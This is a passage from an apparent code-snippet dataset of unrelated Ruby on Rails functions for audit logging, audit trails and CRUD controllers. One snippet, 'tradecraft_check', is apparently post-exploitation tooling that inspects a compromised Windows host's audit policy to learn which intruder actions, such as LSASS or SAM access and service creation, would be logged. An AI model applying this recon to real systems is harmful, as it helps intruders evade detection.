\"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def create\n @audit_log = AuditLog.new(params[:audit_log])\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully created.') }\n format.xml { render :xml => @audit_log, :status => :created, :location => @audit_log }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @tenure = Tenure.new(tenure_params)\n\n if @tenure.save\n audit(@tenure, current_user)\n render json: @tenure, status: :created\n else\n render json: @tenure.errors, status: :unprocessable_entity\n end\n end", "def create\n # Store audit location place details if it's new\n if params[:location].present?\n @location = Location.find_by(id: params[:location][:id], name: params[:location][:name])\n @location = Location.new(location_params) if @location.blank?\n @audit = @location.audits.build(audit_params) if @location.save\n end\n # Initialize new audit object for validation\n @audit ||= Audit.new(audit_params)\n \n # save newly created audit object if it's valid\n if @audit.save\n # save paragraphs details which are involved in audit\n params[:audit][:paragraphs].each { |pa| @audit.audit_items.build(paragraph_id: pa).save } if params[:audit][:paragraphs].present?\n # save auditors details how will conduct audit\n params[:audit][:auditors].each { |employee| @audit.auditor_employees.build(employee_id: employee).save } if params[:audit][:auditors].present?\n # save auditees details how help in audit\n params[:audit][:auditees].each { |employee| @audit.auditee_employees.build(employee_id: employee).save } if params[:audit][:auditees].present?\n # save shadule details for audit paragraphs, when they will be conducted\n params[:audit][:fine_tunes].each do |fine_tune|\n if fine_tune[:date] && fine_tune[:start_time][:hour] && fine_tune[:start_time][:min] && fine_tune[:end_time][:hour] && fine_tune[:end_time][:min] && fine_tune[:paragraph]\n @audit.fine_tunes.build( ddate: Date.strptime(fine_tune[:date], \"%m/%d/%Y\"),\n start_hour: change_time(fine_tune[:start_time][:hour], fine_tune[:start_time][:min]),\n end_hour: change_time(fine_tune[:end_time][:hour], fine_tune[:end_time][:min]),\n notes: fine_tune[:note], paragraph_id: fine_tune[:paragraph]\n ).save\n end\n end if params[:audit][:fine_tunes].present?\n render json: @audit, status: :created\n else\n render json: @audit.errors, status: :unprocessable_entity\n end\n end", "def api_audit\n # authorize! :api_audit, Vehicle.new\n vehicle = Vehicle.find_by_id(params[:id])\n # filter params\n days = params[:days] || \"21\"\n type = params[:type] || \"\"\n # aquacadets\n gon.notes = []\n if vehicle.present?\n gon.notes = vehicle.api_audit_notes\n .note_of_sub_type(type)\n .past_x_days(days)\n .reverse\n gon.parameters = { \"days\" => days, \"type\" => type }\n # Only needed on first load\n if request.format.html?\n gon.path = \"/vehicles/#{vehicle.id}/api-audit\"\n gon.recordName = vehicle.make_model_description\n gon.uid = vehicle.lot_num\n end\n end\n\n respond_to do |format|\n format.html { render \"shared/api_audit.html.erb\" }\n format.json { render json: { notes: gon.notes.as_json, parameters: gon.parameters } }\n end\n end", "def audit_params\n params.require(:audit).permit(:name, :audit_type, :start_date, :end_date, :active, :client_id, :user_id, :questionnaire_id)\n end", "def create\n @audit = @project.audits.build(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @project, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def list_audit_logs_for_date_range_for_tenant(args = {}) \n get(\"/tenants.json/#{args[:tenantId]}/auditlog\", args)\nend", "def audit_params\n params.require(:audit).permit(:user_id, :mod_action_id, :obj_id, :interactionDate)\n end", "def create\n @tap_log_record = current_account.tap_log_records.new(params[:tap_log_record])\n authorize! :create, @tap_log_record\n\n respond_to do |format|\n if @tap_log_record.save\n format.html { redirect_to(@tap_log_record, :notice => 'Tap log record was successfully created.') }\n format.xml { render :xml => @tap_log_record, :status => :created, :location => @tap_log_record }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tap_log_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "def audit verb = nil, data = nil\n extras = nil\n\n if verb\n extras = { verb: verb }\n extras[:data] = data if data\n end\n\n account = App::Context.current.account\n user = App::Context.current.user\n pk = self.class.primary_key\n delta = changes.except pk, *EXCLUSIONS if persisted?\n\n # Fail fast: If there's a delta, it's empty, and there are no\n # extras to be merged, there's no need to audit. Have to check\n # delta presence and contents separately because a `nil` delta\n # is a delete.\n\n return if delta and delta.empty? and not extras\n\n data = {\n account: account && account.id,\n at: Time.now.to_f,\n target: id,\n user: user && user.id\n }\n\n # If the delta exists, check it for anything sensitive that\n # needs to be redacted and then add it to the audit data.\n\n unless delta.empty?\n REDACTED.each do |k|\n delta[k] = [\"REDACTED\", \"REDACTED\"] if delta.include? k\n end\n\n data[:delta] = delta\n end\n\n data.merge! extras if extras\n App::Jobs::Mongo.enqueue \"audits.#{self.class.name}\", data\n\n nil\n end", "def audit\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @audits = Audit.paginate(:page => params[:page],:per_page => 60, :order => 'created_at DESC', :conditions => [\"patient=?\", params[:wedgetail]])\n end", "def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end", "def audit_trail_params\n params.require(:audit_trail).permit(:user, :description, :controller, :action, :browser, :ip_address)\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def labtech_audit_params\n params.require(:labtech_audit).permit(:labtech_ticket, :date, :description, :technician, :category, :time, :cal_ticket, :cal_time, :time_dif, :upadted, :complete, :details)\n end", "def user_audit_params\n params.require(:user_audit).permit(:user_id, :action, :description, :end_user)\n end", "def set_audit_trail\n @audit_trail = AuditTrail.find(params[:id])\n end", "def audit_log(action, optional_params = {})\n description = params.slice(:record_id, :section, :id).merge(optional_params).map { |key, value| \"#{key}:#{value}\"}.join('|')\n requester = current_user.try(:email) || 'NONE'\n AuditLog.create(event: action, description: description, requester_info: requester)\n description\n end", "def create\n @auditreview = Auditreview.new(auditreview_params)\n respond_to do |format|\n if @auditreview.save\n format.html { redirect_to action: \"index\", notice: 'Auditreview was successfully created.' }\n format.json { render :show, status: :created, location: @auditreview }\n else\n format.html { render :new }\n format.json { render json: @auditreview.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render :show, status: :created, location: @trail }\n else\n format.html { render :new }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def create\n @trail = Trail.new(params[:trail])\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render json: @trail, status: :created, location: @trail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def audit_params\n params.require(:audit).permit(:name, :reoccuring, :onsite, :notes, :audit_type_id, :interval, :period_start, :period_end)\n end", "def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @audit_log.update(audit_log_params)\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit_log }\n else\n format.html { render :edit }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @distribution_audit = DistributionAudit.new(params[:distribution_audit])\n\n respond_to do |format|\n if @distribution_audit.save\n format.html { redirect_to @distribution_audit, :notice => 'Distribution audit was successfully created.' }\n format.json { render :json => @distribution_audit, :status => :created, :location => @distribution_audit }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @distribution_audit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @trail = Trail.new(trail_params)\n\n respond_to do |format|\n if @trail.save\n format.html { redirect_to @trail, notice: 'Trail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trail }\n else\n format.html { render action: 'new' }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def audit(audit_data)\n @log4r.debug(audit_data)\n end", "def index\n @audit_logs = AuditLog.all\n end", "def created_line_item_audit_trail(service_request, service3, identity)\n ssr = service_request.sub_service_requests.first\n ssr.update_attribute(:submitted_at, Time.now.yesterday)\n ssr.update_attribute(:status, 'submitted')\n ssr.save!\n service_request.reload\n created_li = create(:line_item_without_validations, sub_service_request_id: ssr.id, service_id: service3.id, service_request_id: service_request.id)\n created_li_id = created_li.id\n ssr.reload\n ssr.save!\n service_request.reload\n\n audit2 = AuditRecovery.where(\"auditable_id = '#{created_li_id}' AND auditable_type = 'LineItem' AND action = 'create'\")\n\n audit2.first.update_attribute(:created_at, Time.now - 5.hours)\n audit2.first.update_attribute(:user_id, identity.id)\nend", "def set_labtech_audit\n @labtech_audit = LabtechAudit.find(params[:id])\n end", "def initialize_audit_log\n # only save logs for POST,PUT,PATCH and DELETE methods\n # creates\n if (request.post? || request.patch? || request.put? || request.delete? )\n @audit_log = AuditLog.new\n @audit_log.ip = request.remote_ip\n @audit_log.user_name = current_user.full_name\n end\n\n end", "def audit_params\n params.fetch(:audit, {}).permit(:expire, histories_attributes: %i[author_id status doctor_id body lab revision_date])\n end", "def logAudit(event, targetType, target, blob=nil, uid=session[:uid])\n\tif(blob.nil?)\n\t\treturn AuditRecord.create(:event_at => DateTime.now, :event_type => event, :actor => uid, :target_a_type => targetType, :target_a => target.to_s)\n\telse\n\t\treturn AuditRecord.create(:event_at => DateTime.now, :event_type => event, :actor => uid, :target_a_type => targetType, :target_a => target.to_s, :blob => blob.to_json)\n\tend\nend", "def add_trails(trail_hash)\n trail_hash[\"trails\"].each do |trail|\n new_trail = nil\n user = self\n \n if !Trail.exists?(trail_id: trail[\"id\"]) && trail[\"imgMedium\"] != \"\"\n new_trail = Trail.create!(\n trail_id: trail[\"id\"],\n name: trail[\"name\"],\n summary: trail[\"summary\"],\n difficulty: trail[\"difficulty\"],\n stars: trail[\"stars\"],\n starVotes: trail[\"starVotes\"],\n location: trail[\"location\"],\n url: trail[\"url\"],\n imgSqSmall: trail[\"imgSqSmall\"],\n imgMedium: trail[\"imgMedium\"],\n length: trail[\"length\"],\n ascent: trail[\"ascent\"],\n descent: trail[\"descent\"],\n high: trail[\"high\"],\n low: trail[\"low\"],\n longitude: trail[\"longitude\"],\n latitude: trail[\"latitude\"],\n conditionStatus: trail[\"conditionStatus\"],\n conditionDetails: trail[\"conditionDetails\"]\n )\n else\n new_trail = Trail.find_by(trail_id: trail[\"id\"])\n end\n\n if new_trail && !user.trails.exists?(trail_id: trail[\"id\"])\n UserTrail.create!(user_id: user.id, trail_id: new_trail.id)\n end\n end\n end", "def audit_params\n params.require(:audit).permit(:user_id, :project_id, :document_id, :annotation_id, :relation_id, :message)\n end", "def create\n @spend_toil = SpendToil.new(spend_toil_params)\n @spend_toil.initial_amount = @spend_toil.amount\n @spend_toil.approved = 'false'\n @spend_toil.user = current_user\n\n respond_to do |format|\n if @spend_toil.save\n UserAudit.create({:user => current_user, :action => \"created toil spend request\", :end_user => @spend_toil.user.email})\n UserMailer.toil_request(current_user).deliver\n format.html { redirect_to toil_requests_path, notice: 'Spend toil was successfully created.' }\n format.json { render action: 'show', status: :created, location: @spend_toil }\n else\n format.html { render action: 'new', :user_id => params[:user_id] }\n format.json { render json: @spend_toil.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def index\n @audits = Audit.all\n end", "def index\n @audits = Audit.all\n end", "def create\n @audit = current_user.audits.new(params[:audit])\n audit = params[:audit]\n start_date = DateTime.new(params[\"audit\"][\"start_date(1i)\"].to_i, params[\"audit\"][\"start_date(2i)\"].to_i,params[\"audit\"][\"start_date(3i)\"].to_i,\n params[\"audit\"][\"start_date(4i)\"].to_i,params[\"audit\"][\"start_date(5i)\"].to_i)\n \n end_date = DateTime.new(params[\"audit\"][\"end_date(1i)\"].to_i, params[\"audit\"][\"end_date(2i)\"].to_i,params[\"audit\"][\"end_date(3i)\"].to_i,\n params[\"audit\"][\"end_date(4i)\"].to_i,params[\"audit\"][\"end_date(5i)\"].to_i)\n @all_audits = Audit.where(\"auditor_email = ? or auditee_email = ?\",params[:audit][:auditor_email], params[:audit][:auditee_email])\n \n @all_audits.each do |audit|\n if (audit.start_date.to_i..audit.end_date.to_i).include?(start_date.to_i||end_date.to_i)\n @audit.errors[:base] << \"Auditor or auditee is already assigned, please select another date \"\n break\n end\n end\n \n respond_to do |format|\n if @audit.errors.any?\n format.html { render action: \"new\" }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n elsif @audit.save\n UserMailer.assign_audit(@audit,@audit.auditor_email,current_user).deliver\n UserMailer.assign_auditee(@audit,@audit.auditee_email,current_user).deliver\n format.html { redirect_to audits_path, notice: 'Audit was successfully created.' }\n format.json { render json: @audit, status: :created, location: @audit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end", "def create\n @user = User.find_by_id(params[:trans_log][:user_id])\n @trans_log = TransLog.new(trans_log_params)\n update_user_account\n respond_to do |format|\n if @trans_log.save\n format.html { redirect_to adjustment_transactions_path, notice: 'Adjustment was successfully created.' }\n format.json { render :show, status: :created, location: @trans_log }\n else\n format.html { render :new }\n format.json { render json: @trans_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @user_audits = UserAudit.all\n end", "def update\n respond_to do |format|\n if @labtech_audit.update(labtech_audit_params)\n format.html { redirect_to @labtech_audit, notice: 'Labtech audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @labtech_audit }\n else\n format.html { render :edit }\n format.json { render json: @labtech_audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n attendance_params[:checkin] = attendance_params[:checkin].to_time\n attendance_params[:checkout] = attendance_params[:checkout].to_time\n attendance_params[:attendance_date] = attendance_params[:attendance_date].to_date\n\n r = @api.create_attendance(attendance_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to attendances_url, notice: 'Attendance was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to attendances_url, alert: response['message']}\n end\n end\n end", "def audit_log_params\n params.require(:audit_log).permit(:ip_address, :path)\n end", "def create\n @actlog = Actlog.new(actlog_params)\n\n respond_to do |format|\n if @actlog.save\n format.html { redirect_to @actlog, notice: 'Actlog was successfully created.' }\n format.json { render :show, status: :created, location: @actlog }\n else\n format.html { render :new }\n format.json { render json: @actlog.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:logs].each { |message| Passbook::Log.create(message: message) }\n head :ok\n end", "def create_log_entry\n Rails.logger.debug(\"@@@ create_log_entry: task = #{@task.inspect} event = #{@event.inspect}\")\n params = Hash.new\n params[:user_id] = current_user.id\n params[:role_id] = current_user.role.id\n params[:ot_id] = @task.ot.id\n params[:task_id] = @task.id\n params[:description] = \"Transicion de #{@task.current_state} a #{@task.current_state.events[@event.to_sym].transitions_to}\"\n log_entry = Audit.new(params)\n log_entry.save\n end", "def add(audit_trail)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'auditTrail', audit_trail);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'add', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def add_audit_trail(options = {})\r\n #logger.info(\"*** Adding audit trail. options: #{options.inspect}\")\r\n return false unless current_user and options[:details] \r\n if current_user\n\toptions[:user_id] = current_user.id \n else\n\toptions[:user_id] = 0 \n end\t\r\n\r\n if @article_submission\r\n options[:article_submission_id] ||= @article_submission.id\r\n end\r\n if @user\r\n options[:user_acted_as_id] ||= @user.id\r\n end\r\n if @contribution\r\n options[:contribution_id] ||= @contribution.id\r\n end\r\n if @coi_form\r\n options[:coi_form_id] || @coi_form.id\r\n end\r\n \r\n audit_trail = AuditTrail.create(options)\r\n logger.info(\"*** Created audit trail: #{audit_trail.inspect}\")\r\n end", "def create\n @iptable_log = IptableLog.new(iptable_log_params)\n\n respond_to do |format|\n if @iptable_log.save\n format.html { redirect_to @iptable_log, notice: 'Iptable log was successfully created.' }\n format.json { render :show, status: :created, location: @iptable_log }\n else\n format.html { render :new }\n format.json { render json: @iptable_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_audit_log\n @audit_log = AuditLog.find(params[:id])\n end", "def tradecraft_check(audit)\n print_status(\"Tradecraft Notes:\")\n if audit.key?(\"Audit Other Object Access Events\") \n print_warning(\"\\tScheduled task actions are audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.schtask',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n print_warning(\"\\tFile, Registry and Share access can be logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.reg_share_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n print_warning(\"\\tLocal SAM access is audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.sam_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Process Creation\") \n print_warning(\"\\tProcess creation is audited.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.process_creation',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Security State Change\")\n print_warning(\"\\tWindows Startup and Shutdown is logged\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.startup_shutdown',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Security System Extension\")\n print_warning(\"\\tWindows Service creation is logged\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.service_creation',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n print_warning(\"\\tAuthentication package install is logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.sam_access',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n print_warning(\"\\tCode integrity check (file signature does not match).\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.code_integrity_check',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n end\n\n if audit.key?(\"Audit Audit Policy Change\")\n print_warning(\"\\tAudit policy changes are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.audit_policy_change.',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n\n end\n\n if audit.key?(\"Audit Special Logon\")\n print_warning(\"\\tEvent 4672 logged when highly privileged user logs on.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.high_priv_logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Other Logon/Logoff Events\")\n print_warning(\"\\tEvents for screensaver login, console locking, and Remote Desktop connections are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.other_logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Logon\")\n print_warning(\"\\tAccount Logon events are logged.\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.logon',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n\n if audit.key?(\"Audit Kernel Object\")\n print_warning(\"\\tLSASS memory access will be logged in newer versions of Windows (10+/2012 R2+).\")\n report_note(\n :host => session.session_host,\n :type => 'host.log.kernel_object',\n :data => {\n :enabled => true},\n :update => :unique_data\n )\n end\n \n end", "def index\n @audits = Audit.all\n respond_with @audits\n end", "def post_incident(payload)\n begin\n payload_json = JSON.dump(payload)\n resp = pagerduty.incidents_api.post(payload_json, :content_type => :json)\n answer = JSON.parse(resp, :symbolize_names => true)\n log.debug(\"POST to incidents, payload=#{payload.inspect}, response=#{answer}\")\n answer\n rescue Exception => e\n log.error(\"Failed to post to incident API: #{payload.inspect}.\"+\n \"\\nError: #{e.message}\")\n raise RuntimeError.new(\"Problem talking to PagerDuty incidents:\"+\n \" #{e.message}\\nRequest was #{payload.inspect}\")\n end\n end", "def create\n @attendance_history = AttendanceHistory.new(attendance_history_params)\n\n respond_to do |format|\n if @attendance_history.save\n format.html { \n flash[:success] = \"Event Access Granted!\"\n redirect_to @attendance_history.event }\n format.json { render @attendance_history.event, status: :created, location: @attendance_history }\n else\n format.html { \n flash[:success] = \"Sorry, check In failed!\"\n redirect_to current_user }\n format.json { render json: @attendance_history.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_with_auditing\n with_auditing { save }\n end", "def update\n @audit_log = AuditLog.find(params[:id])\n\n respond_to do |format|\n if @audit_log.update_attributes(params[:audit_log])\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n # If the request body contains a single log (request body is not an array)\n if ( !JSON.parse(request.body.read).is_a?(Array) )\n log_data = JSON.parse(request.body.read)\n status, log = create_new_log(log_data)\n if (status)\n render json: log, status: :created\n else\n render json: log.errors, status: :unprocessable_entity\n end\n # If the request body contains multiple logs (request body is an array)\n else\n logs = []\n # Loop through all logs. Each array element is considered a single log\n JSON.parse(request.body.read).each do |log_data|\n status, log = create_new_log(log_data)\n if (!status)\n render render json: log.errors, status: :unprocessable_entity\n else\n logs.push(log)\n end\n end\n render json: logs, status: :created\n end\n \tend", "def set_account\n @audits = Audit.find(params[:id])\n end", "def update\n @tap_log_record = current_account.tap_log_records.find(params[:id])\n authorize! :update, @tap_log_record\n\n respond_to do |format|\n if @tap_log_record.update_attributes(params[:tap_log_record])\n format.html { redirect_to(@tap_log_record, :notice => 'Tap log record was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tap_log_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_user_audit\n @user_audit = UserAudit.find(params[:id])\n end", "def GetTicketAudits id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/audits.json\")\n APICall(params)\n\n end", "def audit_params\n params.require(:audit).permit(:project_id, :sprint, :sprint_size, :description)\n end", "def audit\n identifier(audit_db)\n end", "def update_audit_tables\n tables.each(&:update_audit_table)\n end", "def audit\n conf['dashboard']['audit']\n end", "def create\n @t_facility_access_event_history = TFacilityAccessEventHistory.new(t_facility_access_event_history_params)\n\n respond_to do |format|\n if @t_facility_access_event_history.save\n format.html { redirect_to @t_facility_access_event_history, notice: 'T facility access event history was successfully created.' }\n format.json { render :show, status: :created, location: @t_facility_access_event_history }\n else\n format.html { render :new }\n format.json { render json: @t_facility_access_event_history.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @log = current_app.logs.create(params)\n render json: @log\n end", "def report\n @audits = Audit.all\n end", "def create\n case raw_json\n when Array then handle_many_logs\n when Hash then handle_single_log\n else; sorry \"Post a JSON array or object.\", 422\n end\n end", "def audit\n @audit || false\n end", "def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end", "def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end", "def create\n @quote_audit = QuoteAudit.new(params[:quote_audit])\n\n respond_to do |format|\n if @quote_audit.save\n format.html { redirect_to(@quote_audit, :notice => 'Quote audit was successfully created.') }\n format.xml { render :xml => @quote_audit, :status => :created, :location => @quote_audit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @quote_audit.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #not sure why this was here...? @trips = Trip.all\n\n @expense_report = ExpenseReport.new(expense_report_params)\n authorize @expense_report\n @expense_report.submitter = current_account.accountable\n\n @expense_report.actual_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @expense_report.trip.destination\n req.expense_type = 'actual'\n end\n end\n\n\n respond_to do |format|\n if @expense_report.save\n format.html { redirect_to home_index_path, notice: 'Expense report was successfully created.' }\n format.json { render :show, status: :created, location: @expense_report }\n else\n format.html { render :new }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end", "def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end", "def create\n @troll = Troll.new(troll_params.update(dev_id: @dev.id))\n respond_to do |format|\n if @troll.save\n format.html { redirect_to dev_troll_path(@dev, @troll), notice: 'Troll was successfully created.' }\n format.json { render action: 'show', status: :created, location: @troll }\n else\n format.html { render action: 'new' }\n format.json { render json: @troll.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @audit = Audit.unscoped.find_or_initialize_by(\n category_id: params[:category_id],\n user_id: @user.id\n )\n @audit.category_id = params[:category_id]\n @audit.user_id = @user.id\n @audit.expire = Time.zone.now + @audit.category.months.month\n @audit.status = 'created'\n @audit.histories_attributes = [status: 'created', author_id: current_user.id]\n if @audit.save\n flash.now[:success] = 'Creazione avvenuta con successo'\n render partial: 'audits/category', locals: { category: @audit.category }, status: :ok\n else\n flash.now[:error] = @audit.errors.map { |k, v| \"#{I18n.t k} #{v}\" }.join(', ')\n head status: 500\n end\n end", "def create\n @ai_log = AiLog.new(ai_log_params)\n\n respond_to do |format|\n if @ai_log.save\n format.html { redirect_to @ai_log, notice: 'Ai log was successfully created.' }\n format.json { render action: 'show', status: :created, location: @ai_log }\n else\n format.html { render action: 'new' }\n format.json { render json: @ai_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @timelog = Timelog.new(timelog_params)\n @timelog.user_id = current_user.id unless @timelog.user_id\n\n respond_to do |format|\n if @timelog.save\n format.html { redirect_to timelogs_url, notice: 'Timelog was successfully created.' }\n format.json { render :show, status: :created, location: @timelog }\n else\n format.html { render :new }\n format.json { render json: @timelog.errors, status: :unprocessable_entity }\n end\n end\n end", "def audit_trail(context_to_log = nil)\n @transition_auditor ||= StateMachine::AuditTrail::Backend.create_for_transition_class(transition_class, self.owner_class, context_to_log)\n end", "def create\n @item = Item.new(item_params)\n @item.stock_id = params[:stock_id]\n @stock_audit = StockAudit.new\n @stock_audit.item = @item\n @stock_audit.user = current_user\n @stock_audit.audit_params = \"#{item_params}\"\n @stock_audit.comment = \"created a new item\"\n respond_to do |format|\n if @item.save\n @stock_audit.save\n format.html { redirect_to @item, notice: 'Item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item }\n else\n format.html { render action: 'new' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @tap_log_record = current_account.tap_log_records.new\n authorize! :create, @tap_log_record\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tap_log_record }\n end\n end", "def index\n @audits = Audit.order_by({created_at: -1}).page params[:page]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @audits }\n end\n end", "def get_audit_log_entries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entries ...'\n end\n # resource path\n local_var_path = '/auditlog'\n\n # query parameters\n query_params = {}\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'q'] = opts[:'q'] if !opts[:'q'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'spec'] = opts[:'spec'] if !opts[:'spec'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntries')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @ethernet_log = EthernetLog.new(ethernet_log_params)\n\n respond_to do |format|\n if @ethernet_log.save\n format.html { redirect_to @ethernet_log, notice: 'Ethernet log was successfully created.' }\n format.json { render :show, status: :created, location: @ethernet_log }\n else\n format.html { render :new }\n format.json { render json: 